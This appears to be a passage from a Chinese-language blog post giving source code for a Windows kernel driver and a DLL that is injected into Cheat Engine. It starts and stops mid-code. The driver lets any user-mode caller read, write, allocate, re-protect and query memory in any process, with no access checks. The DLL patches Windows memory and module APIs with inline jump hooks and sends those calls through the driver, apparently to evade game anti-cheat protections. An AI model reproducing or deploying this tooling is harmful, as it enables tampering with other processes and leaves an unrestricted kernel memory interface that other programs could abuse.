? STATUS_INVALID_IMAGE_FORMAT
: status;
}

bytesRead = 0;

status = KernelReadMemory(
pid,
(PVOID)(
(ULONG_PTR)imageBase +
(ULONG_PTR)dosHeader.e_lfanew
),
&ntHeaders,
sizeof(ntHeaders),
&bytesRead
);

if (!NT_SUCCESS(status) ||
bytesRead <
FIELD_OFFSET(
IMAGE_NT_HEADERS64,
OptionalHeader
) +
FIELD_OFFSET(
IMAGE_OPTIONAL_HEADER64,
SizeOfImage
) +
sizeof(
ntHeaders.OptionalHeader.SizeOfImage
) ||
ntHeaders.Signature != IMAGE_NT_SIGNATURE)
{
ObDereferenceObject(process);

return NT_SUCCESS(status)
? STATUS_INVALID_IMAGE_FORMAT
: status;
}

*imageSize =
ntHeaders.OptionalHeader.SizeOfImage;

ObDereferenceObject(process);
return STATUS_SUCCESS;
}

NTSTATUS DispatchCreateClose(
PDEVICE_OBJECT DeviceObject,
PIRP Irp
)
{
UNREFERENCED_PARAMETER(DeviceObject);

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;

IoCompleteRequest(
Irp,
IO_NO_INCREMENT
);

return STATUS_SUCCESS;
}

NTSTATUS DispatchDeviceControl(
PDEVICE_OBJECT DeviceObject,
PIRP Irp
)
{
PIO_STACK_LOCATION stack;
ULONG code;
ULONG inputLength;
ULONG outputLength;

NTSTATUS status =
STATUS_INVALID_DEVICE_REQUEST;

UNREFERENCED_PARAMETER(DeviceObject);

stack =
IoGetCurrentIrpStackLocation(Irp);

code =
stack->Parameters.DeviceIoControl.IoControlCode;

inputLength =
stack->Parameters.DeviceIoControl.InputBufferLength;

outputLength =
stack->Parameters.DeviceIoControl.OutputBufferLength;

Irp->IoStatus.Information = 0;

switch (code)
{
case IOCTL_READ_MEMORY:
{
PMEMORY_REQUEST request =
(PMEMORY_REQUEST)
Irp->AssociatedIrp.SystemBuffer;

SIZE_T headerSize =
FIELD_OFFSET(MEMORY_REQUEST, Data);

SIZE_T bytesRead = 0;

if (request == NULL ||
inputLength < headerSize ||
outputLength < headerSize ||
request->ProcessId == 0 ||
request->Address == 0 ||
request->Size == 0 ||
request->Size >
outputLength - headerSize)
{
status = STATUS_BUFFER_TOO_SMALL;
break;
}

status = KernelReadMemory(
request->ProcessId,
(PVOID)(ULONG_PTR)request->Address,
request->Data,
request->Size,
&bytesRead
);

if (NT_SUCCESS(status))
{
Irp->IoStatus.Information =
headerSize + bytesRead;
}

break;
}

case IOCTL_WRITE_MEMORY:
{
PMEMORY_REQUEST request =
(PMEMORY_REQUEST)
Irp->AssociatedIrp.SystemBuffer;

SIZE_T headerSize =
FIELD_OFFSET(MEMORY_REQUEST, Data);

SIZE_T bytesWritten = 0;

if (request == NULL ||
inputLength < headerSize ||
request->ProcessId == 0 ||
request->Address == 0 ||
request->Size == 0 ||
request->Size >
inputLength - headerSize)
{
status = STATUS_BUFFER_TOO_SMALL;
break;
}

status = KernelWriteMemory(
request->ProcessId,
(PVOID)(ULONG_PTR)request->Address,
request->Data,
request->Size,
&bytesWritten
);

break;
}

case IOCTL_GET_PROCESS_IMAGE:
{
PPROCESS_IMAGE_REQUEST request =
(PPROCESS_IMAGE_REQUEST)
Irp->AssociatedIrp.SystemBuffer;

if (request == NULL ||
inputLength < sizeof(*request) ||
outputLength < sizeof(*request) ||
request->ProcessId == 0)
{
status = STATUS_BUFFER_TOO_SMALL;
break;
}

status = KernelGetProcessImage(
request->ProcessId,
&request->BaseAddress,
&request->ImageSize,
request->ImageName,
sizeof(request->ImageName)
);

if (NT_SUCCESS(status))
{
Irp->IoStatus.Information =
sizeof(*request);
}

break;
}

case IOCTL_ALLOCATE_VIRTUAL_MEMORY:
{
PVIRTUAL_ALLOC_REQUEST request =
(PVIRTUAL_ALLOC_REQUEST)
Irp->AssociatedIrp.SystemBuffer;

if (request == NULL ||
inputLength < sizeof(*request) ||
outputLength < sizeof(*request) ||
request->ProcessId == 0 ||
request->Size == 0)
{
status = STATUS_BUFFER_TOO_SMALL;
break;
}

status = KernelAllocateVirtualMemory(
request->ProcessId,
&request->Address,
&request->Size,
request->AllocationType,
request->Protect
);

if (NT_SUCCESS(status))
{
Irp->IoStatus.Information =
sizeof(*request);
}

break;
}

case IOCTL_FREE_VIRTUAL_MEMORY:
{
PVIRTUAL_FREE_REQUEST request =
(PVIRTUAL_FREE_REQUEST)
Irp->AssociatedIrp.SystemBuffer;

if (request == NULL ||
inputLength < sizeof(*request) ||
request->ProcessId == 0 ||
request->Address == 0)
{
status = STATUS_BUFFER_TOO_SMALL;
break;
}

status = KernelFreeVirtualMemory(
request->ProcessId,
&request->Address,
&request->Size,
request->FreeType
);

if (NT_SUCCESS(status) &&
outputLength >= sizeof(*request))
{
Irp->IoStatus.Information =
sizeof(*request);
}

break;
}

case IOCTL_PROTECT_VIRTUAL_MEMORY:
{
PVIRTUAL_PROTECT_REQUEST request =
(PVIRTUAL_PROTECT_REQUEST)
Irp->AssociatedIrp.SystemBuffer;

if (request == NULL ||
inputLength < sizeof(*request) ||
outputLength < sizeof(*request) ||
request->ProcessId == 0 ||
request->Address == 0 ||
request->Size == 0)
{
status = STATUS_BUFFER_TOO_SMALL;
break;
}

status = KernelProtectVirtualMemory(
request->ProcessId,
&request->Address,
&request->Size,
request->NewProtect,
&request->OldProtect
);

if (NT_SUCCESS(status))
{
Irp->IoStatus.Information =
sizeof(*request);
}

break;
}

case IOCTL_QUERY_VIRTUAL_MEMORY:
{
PVIRTUAL_QUERY_REQUEST request =
(PVIRTUAL_QUERY_REQUEST)
Irp->AssociatedIrp.SystemBuffer;

MEMORY_BASIC_INFORMATION information;

if (request == NULL ||
inputLength < sizeof(*request) ||
outputLength < sizeof(*request) ||
request->ProcessId == 0)
{
status = STATUS_BUFFER_TOO_SMALL;
break;
}

RtlZeroMemory(
&information,
sizeof(information)
);

status = KernelQueryVirtualMemory(
request->ProcessId,
request->Address,
&information
);

if (NT_SUCCESS(status))
{
request->BaseAddress =
(ULONGLONG)(ULONG_PTR)
information.BaseAddress;

request->AllocationBase =
(ULONGLONG)(ULONG_PTR)
information.AllocationBase;

request->AllocationProtect =
information.AllocationProtect;

request->RegionSize =
information.RegionSize;

request->State =
information.State;

request->Protect =
information.Protect;

request->Type =
information.Type;

Irp->IoStatus.Information =
sizeof(*request);
}

break;
}
}

Irp->IoStatus.Status = status;

IoCompleteRequest(
Irp,
IO_NO_INCREMENT
);

return status;
}

VOID DriverUnload(
PDRIVER_OBJECT DriverObject
)
{
UNICODE_STRING link;

RtlInitUnicodeString(
&link,
SYMLINK_NAME
);

IoDeleteSymbolicLink(&link);

if (DriverObject->DeviceObject)
{
IoDeleteDevice(
DriverObject->DeviceObject
);
}
}

NTSTATUS DriverEntry(
PDRIVER_OBJECT DriverObject,
PUNICODE_STRING RegistryPath
)
{
NTSTATUS status;
UNICODE_STRING deviceName;
UNICODE_STRING linkName;

UNREFERENCED_PARAMETER(RegistryPath);

RtlInitUnicodeString(
&deviceName,
DEVICE_NAME
);

RtlInitUnicodeString(
&linkName,
SYMLINK_NAME
);

status = IoCreateDevice(
DriverObject,
0,
&deviceName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&g_DeviceObject
);

if (!NT_SUCCESS(status))
{
return status;
}

status = IoCreateSymbolicLink(
&linkName,
&deviceName
);

if (!NT_SUCCESS(status))
{
IoDeleteDevice(g_DeviceObject);
g_DeviceObject = NULL;

return status;
}

DriverObject->MajorFunction[IRP_MJ_CREATE] =
DispatchCreateClose;

DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DispatchCreateClose;

DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] =
DispatchDeviceControl;

DriverObject->DriverUnload =
DriverUnload;

return STATUS_SUCCESS;
}

DLL模块

这个DLL是注入CE进程的,不是目标游戏进程,目的是为了改变CE的功能;

dllmain.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <Windows.h>

#include "Hook.h"
#include "Driver.h"

BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD reason,
LPVOID
)
{
if (reason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);

OutputDebugStringA(
"[CEHook] DLL loaded"
);

if (!InitDriver())
{
OutputDebugStringA(
"[CEHook] initialization stopped: driver unavailable"
);

return TRUE;
}

if (!InitHook())
{
OutputDebugStringA(
"[CEHook] initialization stopped: API lookup failed"
);

CloseDriver();
return TRUE;
}

if (!Hook() ||
!HookWriteProcessMemory() ||
!HookModuleEnumeration() ||
!HookVirtualMemory())
{
OutputDebugStringA(
"[CEHook] one or more API hooks failed"
);
}
}
else if (reason == DLL_PROCESS_DETACH)
{
UnHookVirtualMemory();
UnHookModuleEnumeration();
UnHookWriteProcessMemory();
UnHook();

CloseDriver();
}

return TRUE;
}

Driver.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#pragma once

#include <Windows.h>

#define IOCTL_READ_MEMORY \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_WRITE_MEMORY \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_GET_PROCESS_IMAGE \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_ALLOCATE_VIRTUAL_MEMORY \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_FREE_VIRTUAL_MEMORY \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_PROTECT_VIRTUAL_MEMORY \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_QUERY_VIRTUAL_MEMORY \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef struct _MEMORY_REQUEST
{
ULONG ProcessId;
ULONGLONG Address;
SIZE_T Size;
UCHAR Data[1];
} MEMORY_REQUEST, * PMEMORY_REQUEST;

typedef struct _PROCESS_IMAGE_REQUEST
{
ULONG ProcessId;
ULONGLONG BaseAddress;
ULONG ImageSize;
CHAR ImageName[16];
} PROCESS_IMAGE_REQUEST, * PPROCESS_IMAGE_REQUEST;

typedef struct _VIRTUAL_ALLOC_REQUEST
{
ULONG ProcessId;
ULONGLONG Address;
SIZE_T Size;
ULONG AllocationType;
ULONG Protect;
} VIRTUAL_ALLOC_REQUEST, * PVIRTUAL_ALLOC_REQUEST;

typedef struct _VIRTUAL_FREE_REQUEST
{
ULONG ProcessId;
ULONGLONG Address;
SIZE_T Size;
ULONG FreeType;
} VIRTUAL_FREE_REQUEST, * PVIRTUAL_FREE_REQUEST;

typedef struct _VIRTUAL_PROTECT_REQUEST
{
ULONG ProcessId;
ULONGLONG Address;
SIZE_T Size;
ULONG NewProtect;
ULONG OldProtect;
} VIRTUAL_PROTECT_REQUEST, * PVIRTUAL_PROTECT_REQUEST;

typedef struct _VIRTUAL_QUERY_REQUEST
{
ULONG ProcessId;
ULONGLONG Address;

ULONGLONG BaseAddress;
ULONGLONG AllocationBase;
ULONG AllocationProtect;
SIZE_T RegionSize;
ULONG State;
ULONG Protect;
ULONG Type;
} VIRTUAL_QUERY_REQUEST, * PVIRTUAL_QUERY_REQUEST;

BOOL InitDriver();
VOID CloseDriver();

BOOL DriverReadMemory(
DWORD pid,
ULONGLONG address,
LPVOID buffer,
SIZE_T size
);

BOOL DriverWriteMemory(
DWORD pid,
ULONGLONG address,
LPCVOID buffer,
SIZE_T size
);

BOOL DriverGetProcessImage(
DWORD pid,
PULONGLONG baseAddress,
PDWORD imageSize,
LPSTR imageName,
SIZE_T imageNameLength
);

BOOL DriverAllocateVirtualMemory(
DWORD pid,
PULONGLONG address,
PSIZE_T size,
DWORD allocationType,
DWORD protect
);

BOOL DriverFreeVirtualMemory(
DWORD pid,
ULONGLONG address,
SIZE_T size,
DWORD freeType
);

BOOL DriverProtectVirtualMemory(
DWORD pid,
ULONGLONG address,
SIZE_T size,
DWORD newProtect,
PDWORD oldProtect
);

BOOL DriverQueryVirtualMemory(
DWORD pid,
ULONGLONG address,
PMEMORY_BASIC_INFORMATION information
);

Driver.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
#include "Driver.h"

#include <stdio.h>
#include <stdlib.h>

static HANDLE g_hDevice = NULL;

BOOL InitDriver()
{
if (g_hDevice)
{
return TRUE;
}

g_hDevice = CreateFileA(
"\\\\.\\MemReader",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);

if (g_hDevice == INVALID_HANDLE_VALUE)
{
g_hDevice = NULL;
OutputDebugStringA("[CEHook] Driver open failed");
return FALSE;
}

OutputDebugStringA("[CEHook] Driver connected");
return TRUE;
}

VOID CloseDriver()
{
if (g_hDevice)
{
CloseHandle(g_hDevice);
g_hDevice = NULL;
}
}

BOOL DriverReadMemory(
DWORD pid,
ULONGLONG address,
LPVOID buffer,
SIZE_T size
)
{
const SIZE_T headerSize =
FIELD_OFFSET(MEMORY_REQUEST, Data);

SIZE_T requestSize;
PMEMORY_REQUEST request;
DWORD returnedLength = 0;
BOOL result;

if (!g_hDevice ||
pid == 0 ||
address == 0 ||
buffer == NULL ||
size == 0 ||
size > MAXDWORD ||
headerSize > MAXDWORD ||
size > MAXDWORD - headerSize)
{
SetLastError(ERROR_INVALID_PARAMETER);
return FALSE;
}

requestSize = headerSize + size;
request = (PMEMORY_REQUEST)malloc(requestSize);

if (!request)
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
return FALSE;
}

ZeroMemory(request, requestSize);

request->ProcessId = pid;
request->Address = address;
request->Size = size;

result = DeviceIoControl(
g_hDevice,
IOCTL_READ_MEMORY,
request,
(DWORD)requestSize,
request,
(DWORD)requestSize,
&returnedLength,
NULL
);

if (result &&
returnedLength >= headerSize + size)
{
memcpy(buffer, request->Data, size);
SetLastError(ERROR_SUCCESS);
}
else
{
if (result)
{
SetLastError(ERROR_PARTIAL_COPY);
}

result = FALSE;
}

free(request);
return result;
}

BOOL DriverWriteMemory(
DWORD pid,
ULONGLONG address,
LPCVOID buffer,
SIZE_T size
)
{
const SIZE_T headerSize =
FIELD_OFFSET(MEMORY_REQUEST, Data);

SIZE_T requestSize;
PMEMORY_REQUEST request;
DWORD returnedLength = 0;
BOOL result;

if (!g_hDevice ||
pid == 0 ||
address == 0 ||
buffer == NULL ||
size == 0 ||
size > MAXDWORD ||
headerSize > MAXDWORD ||
size > MAXDWORD - headerSize)
{
SetLastError(ERROR_INVALID_PARAMETER);
return FALSE;
}

requestSize = headerSize + size;
request = (PMEMORY_REQUEST)malloc(requestSize);

if (!request)
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
return FALSE;
}

ZeroMemory(request, requestSize);

request->ProcessId = pid;
request->Address = address;
request->Size = size;

memcpy(request->Data, buffer, size);

result = DeviceIoControl(
g_hDevice,
IOCTL_WRITE_MEMORY,
request,
(DWORD)requestSize,
NULL,
0,
&returnedLength,
NULL
);

if (result)
{
SetLastError(ERROR_SUCCESS);
}

free(request);
return result;
}

BOOL DriverGetProcessImage(
DWORD pid,
PULONGLONG baseAddress,
PDWORD imageSize,
LPSTR imageName,
SIZE_T imageNameLength
)
{
PROCESS_IMAGE_REQUEST request = { 0 };
DWORD returnedLength = 0;

if (!g_hDevice ||
pid == 0 ||
baseAddress == NULL ||
imageSize == NULL ||
imageName == NULL ||
imageNameLength == 0)
{
SetLastError(ERROR_INVALID_PARAMETER);
return FALSE;
}

request.ProcessId = pid;

if (!DeviceIoControl(
g_hDevice,
IOCTL_GET_PROCESS_IMAGE,
&request,
sizeof(request),
&request,
sizeof(request),
&returnedLength,
NULL) ||
returnedLength < sizeof(request))
{
return FALSE;
}

*baseAddress = request.BaseAddress;
*imageSize = request.ImageSize;

strncpy_s(
imageName,
imageNameLength,
request.ImageName,
_TRUNCATE
);

SetLastError(ERROR_SUCCESS);
return TRUE;
}

BOOL DriverAllocateVirtualMemory(
DWORD pid,
PULONGLONG address,
PSIZE_T size,
DWORD allocationType,
DWORD protect
)
{
VIRTUAL_ALLOC_REQUEST request = { 0 };
DWORD returnedLength = 0;

if (!g_hDevice ||
pid == 0 ||
address == NULL ||
size == NULL ||
*size == 0)
{
SetLastError(ERROR_INVALID_PARAMETER);
return FALSE;
}

request.ProcessId = pid;
request.Address = *address;
request.Size = *size;
request.AllocationType = allocationType;
request.Protect = protect;

if (!DeviceIoControl(
g_hDevice,
IOCTL_ALLOCATE_VIRTUAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request),
&returnedLength,
NULL) ||
returnedLength < sizeof(request))
{
return FALSE;
}

*address = request.Address;
*size = request.Size;

SetLastError(ERROR_SUCCESS);
return TRUE;
}

BOOL DriverFreeVirtualMemory(
DWORD pid,
ULONGLONG address,
SIZE_T size,
DWORD freeType
)
{
VIRTUAL_FREE_REQUEST request = { 0 };
DWORD returnedLength = 0;

if (!g_hDevice ||
pid == 0 ||
address == 0)
{
SetLastError(ERROR_INVALID_PARAMETER);
return FALSE;
}

request.ProcessId = pid;
request.Address = address;
request.Size = size;
request.FreeType = freeType;

if (!DeviceIoControl(
g_hDevice,
IOCTL_FREE_VIRTUAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request),
&returnedLength,
NULL))
{
return FALSE;
}

SetLastError(ERROR_SUCCESS);
return TRUE;
}

BOOL DriverProtectVirtualMemory(
DWORD pid,
ULONGLONG address,
SIZE_T size,
DWORD newProtect,
PDWORD oldProtect
)
{
VIRTUAL_PROTECT_REQUEST request = { 0 };
DWORD returnedLength = 0;

if (!g_hDevice ||
pid == 0 ||
address == 0 ||
size == 0 ||
oldProtect == NULL)
{
SetLastError(ERROR_INVALID_PARAMETER);
return FALSE;
}

request.ProcessId = pid;
request.Address = address;
request.Size = size;
request.NewProtect = newProtect;

if (!DeviceIoControl(
g_hDevice,
IOCTL_PROTECT_VIRTUAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request),
&returnedLength,
NULL) ||
returnedLength < sizeof(request))
{
return FALSE;
}

*oldProtect = request.OldProtect;

SetLastError(ERROR_SUCCESS);
return TRUE;
}

BOOL DriverQueryVirtualMemory(
DWORD pid,
ULONGLONG address,
PMEMORY_BASIC_INFORMATION information
)
{
VIRTUAL_QUERY_REQUEST request = { 0 };
DWORD returnedLength = 0;

if (!g_hDevice ||
pid == 0 ||
information == NULL)
{
SetLastError(ERROR_INVALID_PARAMETER);
return FALSE;
}

request.ProcessId = pid;
request.Address = address;

if (!DeviceIoControl(
g_hDevice,
IOCTL_QUERY_VIRTUAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request),
&returnedLength,
NULL) ||
returnedLength < sizeof(request))
{
return FALSE;
}

ZeroMemory(information, sizeof(*information));

information->BaseAddress =
(PVOID)(ULONG_PTR)request.BaseAddress;

information->AllocationBase =
(PVOID)(ULONG_PTR)request.AllocationBase;

information->AllocationProtect =
request.AllocationProtect;

information->RegionSize =
request.RegionSize;

information->State =
request.State;

information->Protect =
request.Protect;

information->Type =
request.Type;

SetLastError(ERROR_SUCCESS);
return TRUE;
}

Hook.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#pragma once

BOOL InitHook();

BOOL Hook();
BOOL UnHook();

BOOL HookWriteProcessMemory();
BOOL UnHookWriteProcessMemory();

BOOL HookModuleEnumeration();
BOOL UnHookModuleEnumeration();

BOOL HookVirtualMemory();
BOOL UnHookVirtualMemory();

Hook.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

#include "Hook.h"
#include "Driver.h"

typedef unsigned long long QWORD;

typedef struct _API_HOOK
{
QWORD Address;
BYTE Original[12];
BYTE Jump[12];
BOOL Installed;
} API_HOOK, * PAPI_HOOK;

static API_HOOK g_readHook = { 0 };
static API_HOOK g_writeHook = { 0 };

static API_HOOK g_createSnapshotHook = { 0 };
static API_HOOK g_moduleFirstWHook = { 0 };
static API_HOOK g_moduleFirstAHook = { 0 };

static API_HOOK g_virtualAllocExHook = { 0 };
static API_HOOK g_virtualFreeExHook = { 0 };
static API_HOOK g_virtualProtectExHook = { 0 };
static API_HOOK g_virtualQueryExHook = { 0 };

static const BYTE g_absoluteJumpTemplate[12] =
{
0x48, 0xB8,
0, 0, 0, 0, 0, 0, 0, 0,
0xFF, 0xE0
};

typedef struct _MODULEENTRY32A_COMPAT
{
DWORD dwSize;
DWORD th32ModuleID;
DWORD th32ProcessID;
DWORD GlblcntUsage;
DWORD ProccntUsage;
BYTE* modBaseAddr;
DWORD modBaseSize;
HMODULE hModule;
CHAR szModule[MAX_MODULE_NAME32 + 1];
CHAR szExePath[MAX_PATH];
} MODULEENTRY32A_COMPAT, * PMODULEENTRY32A_COMPAT;

typedef struct _MODULE_SNAPSHOT_RECORD
{
HANDLE Snapshot;
DWORD ProcessId;
} MODULE_SNAPSHOT_RECORD;

static SRWLOCK g_snapshotLock = SRWLOCK_INIT;
static MODULE_SNAPSHOT_RECORD g_snapshotRecords[64] = { 0 };
static ULONG g_nextSnapshotSlot = 0;

typedef HANDLE(WINAPI* CreateToolhelp32SnapshotP)(
DWORD flags,
DWORD processId
);

typedef BOOL(WINAPI* Module32FirstWP)(
HANDLE snapshot,
LPMODULEENTRY32W entry
);

typedef BOOL(WINAPI* Module32FirstAP)(
HANDLE snapshot,
PMODULEENTRY32A_COMPAT entry
);

static BOOL PatchCode(
QWORD address,
const BYTE* code,
SIZE_T codeSize
)
{
DWORD oldProtect = 0;
DWORD ignoredProtect = 0;

if (!address ||
!code ||
codeSize == 0)
{
SetLastError(ERROR_INVALID_PARAMETER);
return FALSE;
}

if (!VirtualProtect(
(LPVOID)(ULONG_PTR)address,
codeSize,
PAGE_EXECUTE_READWRITE,
&oldProtect))
{
return FALSE;
}

memcpy(
(LPVOID)(ULONG_PTR)address,
code,
codeSize
);

FlushInstructionCache(
GetCurrentProcess(),
(LPCVOID)(ULONG_PTR)address,
codeSize
);

VirtualProtect(
(LPVOID)(ULONG_PTR)address,
codeSize,
oldProtect,
&ignoredProtect
);

return TRUE;
}

static BOOL InitializeApiHook(
PAPI_HOOK hook,
HMODULE module,
LPCSTR apiName,
PVOID destination
)
{
FARPROC address;

if (!hook ||
!module ||
!apiName ||
!destination)
{
return FALSE;
}

address = GetProcAddress(module, apiName);

if (!address)
{
return FALSE;
}

ZeroMemory(hook, sizeof(*hook));

hook->Address =
(QWORD)(ULONG_PTR)address;

memcpy(
hook->Original,
address,
sizeof(hook->Original)
);

memcpy(
hook->Jump,
g_absoluteJumpTemplate,
sizeof(hook->Jump)
);

*(PULONGLONG)(hook->Jump + 2) =
(ULONGLONG)(ULONG_PTR)destination;

return TRUE;
}

static BOOL InstallApiHook(PAPI_HOOK hook)
{
if (!hook || !hook->Address)
{
return FALSE;
}

if (hook->Installed)
{
return TRUE;
}

if (!PatchCode(
hook->Address,
hook->Jump,
sizeof(hook->Jump)))
{
return FALSE;
}

hook->Installed = TRUE;
return TRUE;
}

static BOOL RemoveApiHook(PAPI_HOOK hook)
{
if (!hook || !hook->Address)
{
return FALSE;
}

if (!hook->Installed)
{
return TRUE;
}

if (!PatchCode(
hook->Address,
hook->Original,
sizeof(hook->Original)))
{
return FALSE;
}

hook->Installed = FALSE;
return TRUE;
}

static DWORD TrustedProcessId(HANDLE process)
{
DWORD pid;

if (!process ||
process == INVALID_HANDLE_VALUE)
{
SetLastError(ERROR_INVALID_HANDLE);
return 0;
}

/*
